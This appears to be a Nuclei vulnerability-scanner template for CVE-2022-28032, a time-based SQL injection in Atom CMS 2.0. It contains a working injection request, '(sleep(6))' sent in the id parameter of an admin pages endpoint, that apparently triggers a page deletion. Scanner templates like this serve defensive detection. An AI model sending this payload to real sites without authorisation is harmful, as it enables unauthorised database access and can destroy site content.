id: CVE-2022-28032

info:
  name: Atom CMS v2.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    AtomCMS 2.0 is vulnerable to SQL Injection via Atom.CMS_admin_ajax_pages.php
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/263
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28032
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/bornrootcom/fictional-memory
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28032
    cwe-id: CWE-89
    epss-score: 0.49286
    epss-percentile: 0.97828
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: time-based-sqli,cve,cve2022,sqli,atom,cms,thedigitalcraft,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Page Deleted")'
        condition: and
# digest: 490a00463044022046b1190df628fc5a5581cd48de76aaa40a5a9c6c7879200b91b5cfe72f3569be02203dde8b36831d80b61afd2cf36ada7f464fa9ea34f7536e1991ba2e961df70b04:922c64590222798bb761d5b6d8e72950